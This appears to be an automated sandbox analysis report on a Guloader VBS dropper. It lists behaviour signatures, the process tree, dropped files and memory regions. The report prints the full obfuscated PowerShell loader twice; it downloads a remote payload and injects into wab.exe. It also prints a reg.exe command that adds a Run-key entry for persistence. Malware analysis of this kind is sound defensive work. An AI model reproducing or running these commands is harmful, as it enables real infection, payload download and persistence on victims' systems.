Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/08/2024, 01:13

General

  • Target
    3719c53d611fb9341d445a9716a013809c75a6c89308cdc37977be4c6b2c9502.vbs
  • Size 136KB
  • Sample240820-ble6cazfjq
  • SHA256 3719c53d611fb9341d445a9716a013809c75a6c89308cdc37977be4c6b2c9502
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\3719c53d611fb9341d445a9716a013809c75a6c89308cdc37977be4c6b2c9502.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4724
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentCulture) {$Sulphurosyl='SUBsTR';$Eumoirous++;}$Sulphurosyl+='ing';Function Restaurationsgsternes($Trolddomskunsters90){$Clechy=$Trolddomskunsters90.Length-$Eumoirous;For( $Settlementerne=2;$Settlementerne -lt $Clechy;$Settlementerne+=3){$sygehjlps+=$Trolddomskunsters90.$Sulphurosyl.'Invoke'( $Settlementerne, $Eumoirous);}$sygehjlps;}function Rhachises($Settlementernendrejsetilladelses){ & ($Sumerers) ($Settlementernendrejsetilladelses);}$Projektnummeret=Restaurationsgsternes ' PMf oAlz ,ital alTuaFa/M.5F..,e0 G R,(InW .iJenFod EoStw.nsB. VuN ETPu .e1Sc0T.. d0 G;Mi BiWB.iMan A6Ma4Ra; I PlxPo6Re4Ci; R kar SvYa:Mi1 a2Le1 a. .0 B)Pr ,vGB,eE,c,ek LoSn/ .2Ch0Se1R.0Re0 n1 W0 V1 M P.FO iC.r,ue Pf.oo.hx V/Th1Ti2du1A . T0Do ';$forhaandsbeskeder=Restaurationsgsternes ' .U s Re Sr,r-SoAaigr eK.n St A ';$Pantastomatida=Restaurationsgsternes 'Lih.etsitKopFos.a:Ba/ a/Sti NbRobancSooSt.MacPooRamTr.Ges faFo/.ewAnpan-Poa ,dKamFaiElnRe/pahActKlmSolHa/FrV ,eF,nFedB,e,erM,sDi. ,fPllFravr> Sh mtAltNopKa:Sa/Ch/BecGapTuaafn.aeTelMo-FoafedYamR,iMbnGehUdoAnsKatSk. CcB.o,imOu/ .VGle nInd eeHur,osFo.C,f BlAnaF ';$Tiresfrimrkerne=Restaurationsgsternes 'gr>Br ';$Sumerers=Restaurationsgsternes 'E iFeeDux.o ';$dahoons='Monopolistlr';$Hjemmemarkedets = Restaurationsgsternes 'S,e ScHehanoDr My%Ufa npMypMedPra etC,a t%Su\,rM NuSts,ukGug .rLiaAmstesWi. Tm.iiGas,p We&Sv&Sa Aae,ic,rh.moAn Lit S ';Rhachises (Restaurationsgsternes 'Pr$ing,il UoR.bPra,cl U:NoN ,uU,r ds Me.gtEmeSynS,dPee irAb= e( rcB m Cd.n Jo/NacKo ma$EpHFejFoe OmInmveeA,mPeaA,rTakjoeHyd Te At as A) . ');Rhachises (Restaurationsgsternes 'Tr$.ngFolpyo.kb Ja elF : ,S DuD lKlc FuBalB uMesA.=,k$AnP .aOknJatUna.dsC.tSko Sm Pa,mtHeiTad,eaD...asP,pSll.uiBetOv( g$SkTeriD.rOleBos KfH,rMii.ymk,r akR,ePar SnGweUn) a ');Rhachises (Restaurationsgsternes 'V [EpNR e tRe. eSSieCor tv .iBecI,e ,P,ooP.iFon StsaMPlaS,nDdaWrg AeRurL ]Mi:Vi:S.SOueBacSmu VrFli,it.iy.nPP.rVio DtS,oChc,ao UlGy R,=Ma No[ ONEteCot ,.OxSSae RcInu srBriSht.kymeP ,r GoLetUno.iceno olUnTUnyNipTreLi]Ud: ,:.vTSalF.sLa1U.2M ');$Pantastomatida=$Sulculus[0];$Samdeler= (Restaurationsgsternes 'Ar$Rag KlSuo CbE.as.lsu: eTTra anBogTrlGre.imMieN,np,tSl=SkNM,eAfwS -ReO tbCajtneSgc.ntU, CrS .y Ps BtMieVrm a.MoN ne Btt..ShW eSub PC Al iK.eP,nVit');$Samdeler+=$Nursetender[1];Rhachises ($Samdeler);Rhachises (Restaurationsgsternes 'c.$DaTBeaChnTag al De.umSae UnT,tni.LaH Kesta CdLyePrrOpsVu[B.$KofPuo RrFohYpapea .nWad Ds,eb Ve,vsM.kMoe .d oeEpr C] A=,e$F.PScrreoUnjBleM.kMetF,nUnu Um amFoe ardaeOntAn ');$Horrah=Restaurationsgsternes ' P$ kTCla,hn .g,rleleRomPaeE n StIn. uD oRew .nSel RoadaAkdAmFS i,nlUneF (Ps$HoP a LnO.t ,a.nsRetL,ob,mAfaAet Ri ,d,aa P,ge$P,OR.g ogB.aSvn di etL.iBeoBan.r)ar ';$Ogganition=$Nursetender[0];Rhachises (Restaurationsgsternes 'L $Dyg.alPro.ibFla .lA.:KhH So nr Vn,rhSoiAnn,adSee,an.t=Ne(VaT ,eY sgatMi-K.PreaN.tS.hIn Gu$ OO CgWhgunaDinIniL.t.oia o .n I)Pr ');while (!$Hornhinden) {Rhachises (Restaurationsgsternes ' A$UtgA.lauoKobB,a.elDe:ViF EoBor ObMui.sn.odHus.lk AaVesStsoveO,2I,2St3Ic=S.$IntOhrG uCleNu ') ;Rhachises $Horrah;Rhachises (Restaurationsgsternes ' ,SAnt aaW r ltFo- yS ulP,eSoeDrpKo ko4Ad ');Rhachises (Restaurationsgsternes 'Go$Bog Tlm,oTob NaHylh : nHSwoAsr fn .hf,iOvnMid eeOunst= ( ITShe.hsRetQu-VeP vaB.tAnhM. Ge$InO.ug Sg LaFinE.iIntA.iLsoAinPu)Pu ') ;Rhachises (Restaurationsgsternes ' y$ ygT.lEvo SbUna,alBe: EB rHeoFiv SaFig .tAneAfnKlsSn=Ha$MigKilfyo .bOmaNolLi:LePInhVeoEct SoS.o KxDoiA.d .a,ntU.i Pv le,a+Ca+.e%,m$KlSAfuAfl VcAlu Rlnuupss F..ocVaoSpuI.n ytWo ') ;$Pantastomatida=$Sulculus[$Brovagtens];}$Haardt=352238;$Dentiloguy=27600;Rhachises (Restaurationsgsternes ' ,$Stg TlPio.obPha ,lW :FoSR,y .nT sS.fSkoSlr ,rSceKotD.n uiA,n dgKneIrr n ke PsOu Do=Ca BlG.yeIct e-CoCHoo.enOlt He xnP,tSk .o$,pOT gDogC a YnOpiU tSeiR,o ,nUn ');Rhachises (Restaurationsgsternes 'A $,bg MlekoJobA.aP.l T:.iGOpoE,u,er mSkaEfnT,dSti,osBlm Ge=Sk ,m[ DSE yT sUntD.e Emar.FdCInoBanKnvAse.erEmtT,] .:U.:TrF,arsko.rm BLaaN,s aeCh6 V4 eSJot ,r Ci.anT gUn(.e$ SSCoy nG s.nf,eo,orPrr aeCotFanM,iTunTrg,yeCarDenDeeChsV.)El ');Rhachises (Restaurationsgsternes 'An$s.gVelInoLybF,aSklFl:.iKD.oS.r.asEyeRonMeeJo l= U Pa[MiSL,ySksBetB eCrmri.NuTNaenex VtIn..dE,vnBacF,o.ud.uifynBagPr] ,:K.:.eAFlSQuC oIP,I U.E Gf eGatboSPrtWirBuiKrnM.gS ( ,$StGOroRauGar Sm Ra,rn,ldBli isEsmAf)sk ');Rhachises (Restaurationsgsternes 'Un$,igRalIno ,bnaaR,l S:SyKD.a,itTiyLusOv=.h$AcKD.oD,rLis.reLdnLieSo.Dis ,u Ob.is Et nrB i.nn eg e(Sa$InH aaEuaglrRed t r,Un$ ZDwie.vnHotpriOplTyo gYvu TyVi)Co ');Rhachises $Katys;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1844
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Muskgrass.mis && echo t"
        3⤵
          PID:112
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentCulture) {$Sulphurosyl='SUBsTR';$Eumoirous++;}$Sulphurosyl+='ing';Function Restaurationsgsternes($Trolddomskunsters90){$Clechy=$Trolddomskunsters90.Length-$Eumoirous;For( $Settlementerne=2;$Settlementerne -lt $Clechy;$Settlementerne+=3){$sygehjlps+=$Trolddomskunsters90.$Sulphurosyl.'Invoke'( $Settlementerne, $Eumoirous);}$sygehjlps;}function Rhachises($Settlementernendrejsetilladelses){ & ($Sumerers) ($Settlementernendrejsetilladelses);}$Projektnummeret=Restaurationsgsternes ' PMf oAlz ,ital alTuaFa/M.5F..,e0 G R,(InW .iJenFod EoStw.nsB. VuN ETPu .e1Sc0T.. d0 G;Mi BiWB.iMan A6Ma4Ra; I PlxPo6Re4Ci; R kar SvYa:Mi1 a2Le1 a. .0 B)Pr ,vGB,eE,c,ek LoSn/ .2Ch0Se1R.0Re0 n1 W0 V1 M P.FO iC.r,ue Pf.oo.hx V/Th1Ti2du1A . T0Do ';$forhaandsbeskeder=Restaurationsgsternes ' .U s Re Sr,r-SoAaigr eK.n St A ';$Pantastomatida=Restaurationsgsternes 'Lih.etsitKopFos.a:Ba/ a/Sti NbRobancSooSt.MacPooRamTr.Ges faFo/.ewAnpan-Poa ,dKamFaiElnRe/pahActKlmSolHa/FrV ,eF,nFedB,e,erM,sDi. ,fPllFravr> Sh mtAltNopKa:Sa/Ch/BecGapTuaafn.aeTelMo-FoafedYamR,iMbnGehUdoAnsKatSk. CcB.o,imOu/ .VGle nInd eeHur,osFo.C,f BlAnaF ';$Tiresfrimrkerne=Restaurationsgsternes 'gr>Br ';$Sumerers=Restaurationsgsternes 'E iFeeDux.o ';$dahoons='Monopolistlr';$Hjemmemarkedets = Restaurationsgsternes 'S,e ScHehanoDr My%Ufa npMypMedPra etC,a t%Su\,rM NuSts,ukGug .rLiaAmstesWi. Tm.iiGas,p We&Sv&Sa Aae,ic,rh.moAn Lit S ';Rhachises (Restaurationsgsternes 'Pr$ing,il UoR.bPra,cl U:NoN ,uU,r ds Me.gtEmeSynS,dPee irAb= e( rcB m Cd.n Jo/NacKo ma$EpHFejFoe OmInmveeA,mPeaA,rTakjoeHyd Te At as A) . ');Rhachises (Restaurationsgsternes 'Tr$.ngFolpyo.kb Ja elF : ,S DuD lKlc FuBalB uMesA.=,k$AnP .aOknJatUna.dsC.tSko Sm Pa,mtHeiTad,eaD...asP,pSll.uiBetOv( g$SkTeriD.rOleBos KfH,rMii.ymk,r akR,ePar SnGweUn) a ');Rhachises (Restaurationsgsternes 'V [EpNR e tRe. eSSieCor tv .iBecI,e ,P,ooP.iFon StsaMPlaS,nDdaWrg AeRurL ]Mi:Vi:S.SOueBacSmu VrFli,it.iy.nPP.rVio DtS,oChc,ao UlGy R,=Ma No[ ONEteCot ,.OxSSae RcInu srBriSht.kymeP ,r GoLetUno.iceno olUnTUnyNipTreLi]Ud: ,:.vTSalF.sLa1U.2M ');$Pantastomatida=$Sulculus[0];$Samdeler= (Restaurationsgsternes 'Ar$Rag KlSuo CbE.as.lsu: eTTra anBogTrlGre.imMieN,np,tSl=SkNM,eAfwS -ReO tbCajtneSgc.ntU, CrS .y Ps BtMieVrm a.MoN ne Btt..ShW eSub PC Al iK.eP,nVit');$Samdeler+=$Nursetender[1];Rhachises ($Samdeler);Rhachises (Restaurationsgsternes 'c.$DaTBeaChnTag al De.umSae UnT,tni.LaH Kesta CdLyePrrOpsVu[B.$KofPuo RrFohYpapea .nWad Ds,eb Ve,vsM.kMoe .d oeEpr C] A=,e$F.PScrreoUnjBleM.kMetF,nUnu Um amFoe ardaeOntAn ');$Horrah=Restaurationsgsternes ' P$ kTCla,hn .g,rleleRomPaeE n StIn. uD oRew .nSel RoadaAkdAmFS i,nlUneF (Ps$HoP a LnO.t ,a.nsRetL,ob,mAfaAet Ri ,d,aa P,ge$P,OR.g ogB.aSvn di etL.iBeoBan.r)ar ';$Ogganition=$Nursetender[0];Rhachises (Restaurationsgsternes 'L $Dyg.alPro.ibFla .lA.:KhH So nr Vn,rhSoiAnn,adSee,an.t=Ne(VaT ,eY sgatMi-K.PreaN.tS.hIn Gu$ OO CgWhgunaDinIniL.t.oia o .n I)Pr ');while (!$Hornhinden) {Rhachises (Restaurationsgsternes ' A$UtgA.lauoKobB,a.elDe:ViF EoBor ObMui.sn.odHus.lk AaVesStsoveO,2I,2St3Ic=S.$IntOhrG uCleNu ') ;Rhachises $Horrah;Rhachises (Restaurationsgsternes ' ,SAnt aaW r ltFo- yS ulP,eSoeDrpKo ko4Ad ');Rhachises (Restaurationsgsternes 'Go$Bog Tlm,oTob NaHylh : nHSwoAsr fn .hf,iOvnMid eeOunst= ( ITShe.hsRetQu-VeP vaB.tAnhM. Ge$InO.ug Sg LaFinE.iIntA.iLsoAinPu)Pu ') ;Rhachises (Restaurationsgsternes ' y$ ygT.lEvo SbUna,alBe: EB rHeoFiv SaFig .tAneAfnKlsSn=Ha$MigKilfyo .bOmaNolLi:LePInhVeoEct SoS.o KxDoiA.d .a,ntU.i Pv le,a+Ca+.e%,m$KlSAfuAfl VcAlu Rlnuupss F..ocVaoSpuI.n ytWo ') ;$Pantastomatida=$Sulculus[$Brovagtens];}$Haardt=352238;$Dentiloguy=27600;Rhachises (Restaurationsgsternes ' ,$Stg TlPio.obPha ,lW :FoSR,y .nT sS.fSkoSlr ,rSceKotD.n uiA,n dgKneIrr n ke PsOu Do=Ca BlG.yeIct e-CoCHoo.enOlt He xnP,tSk .o$,pOT gDogC a YnOpiU tSeiR,o ,nUn ');Rhachises (Restaurationsgsternes 'A $,bg MlekoJobA.aP.l T:.iGOpoE,u,er mSkaEfnT,dSti,osBlm Ge=Sk ,m[ DSE yT sUntD.e Emar.FdCInoBanKnvAse.erEmtT,] .:U.:TrF,arsko.rm BLaaN,s aeCh6 V4 eSJot ,r Ci.anT gUn(.e$ SSCoy nG s.nf,eo,orPrr aeCotFanM,iTunTrg,yeCarDenDeeChsV.)El ');Rhachises (Restaurationsgsternes 'An$s.gVelInoLybF,aSklFl:.iKD.oS.r.asEyeRonMeeJo l= U Pa[MiSL,ySksBetB eCrmri.NuTNaenex VtIn..dE,vnBacF,o.ud.uifynBagPr] ,:K.:.eAFlSQuC oIP,I U.E Gf eGatboSPrtWirBuiKrnM.gS ( ,$StGOroRauGar Sm Ra,rn,ldBli isEsmAf)sk ');Rhachises (Restaurationsgsternes 'Un$,igRalIno ,bnaaR,l S:SyKD.a,itTiyLusOv=.h$AcKD.oD,rLis.reLdnLieSo.Dis ,u Ob.is Et nrB i.nn eg e(Sa$InH aaEuaglrRed t r,Un$ ZDwie.vnHotpriOplTyo gYvu TyVi)Co ');Rhachises $Katys;"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3132
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Muskgrass.mis && echo t"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:5096
          • C:\Program Files (x86)\windows mail\wab.exe
            "C:\Program Files (x86)\windows mail\wab.exe"
            4⤵
              PID:2756
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              4⤵
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2272
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Rredfiskeri" /t REG_EXPAND_SZ /d "%Globuliferous% -w 1 $Labanens=(Get-ItemProperty -Path 'HKCU:\advokaturen\').Leesomely;%Globuliferous% ($Labanens)"
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4624
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Rredfiskeri" /t REG_EXPAND_SZ /d "%Globuliferous% -w 1 $Labanens=(Get-ItemProperty -Path 'HKCU:\advokaturen\').Leesomely;%Globuliferous% ($Labanens)"
                  6⤵
                  • Adds Run key to start application
                  • System Location Discovery: System Language Discovery
                  • Modifies registry key
                  PID:232

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            __PSScriptPolicyTest_vjmzkswy.uaf.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vjmzkswy.uaf.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            Muskgrass.mis

            • Path C:\Users\Admin\AppData\Roaming\Muskgrass.mis
            • Size 494KB
            • SHA256 6c0860474c889fb6e422c668fd0ed6777d848dbe8e1bb59b2ca550fc474b6d69
            • MD5 SHA1 SHA512 SSDEEP

            memory/1844-4-0x00007FF8A7753000-0x00007FF8A7755000-memory.dmp

            memory/1844-15-0x00007FF8A7750000-0x00007FF8A8211000-memory.dmp

            memory/1844-14-0x0000027DCBF40000-0x0000027DCBF62000-memory.dmp

            memory/1844-16-0x00007FF8A7750000-0x00007FF8A8211000-memory.dmp

            memory/1844-55-0x00007FF8A7750000-0x00007FF8A8211000-memory.dmp

            memory/1844-44-0x00007FF8A7750000-0x00007FF8A8211000-memory.dmp

            memory/1844-38-0x00007FF8A7753000-0x00007FF8A7755000-memory.dmp

            memory/1844-39-0x00007FF8A7750000-0x00007FF8A8211000-memory.dmp

            memory/2272-59-0x0000000000E30000-0x0000000003E24000-memory.dmp

            memory/2272-52-0x0000000000E30000-0x0000000003E24000-memory.dmp

            memory/3132-35-0x00000000066C0000-0x000000000670C000-memory.dmp

            memory/3132-42-0x0000000008130000-0x00000000086D4000-memory.dmp

            memory/3132-37-0x0000000006650000-0x000000000666A000-memory.dmp

            memory/3132-34-0x0000000006110000-0x000000000612E000-memory.dmp

            memory/3132-33-0x0000000005B00000-0x0000000005E54000-memory.dmp

            memory/3132-40-0x0000000007430000-0x00000000074C6000-memory.dmp

            memory/3132-41-0x0000000007360000-0x0000000007382000-memory.dmp

            memory/3132-36-0x0000000007AB0000-0x000000000812A000-memory.dmp

            memory/3132-23-0x0000000005A10000-0x0000000005A76000-memory.dmp

            memory/3132-22-0x0000000005930000-0x0000000005996000-memory.dmp

            memory/3132-45-0x00000000086E0000-0x000000000B6D4000-memory.dmp

            memory/3132-21-0x0000000005260000-0x0000000005282000-memory.dmp

            memory/3132-20-0x0000000005300000-0x0000000005928000-memory.dmp

            memory/3132-19-0x0000000004B60000-0x0000000004B96000-memory.dmp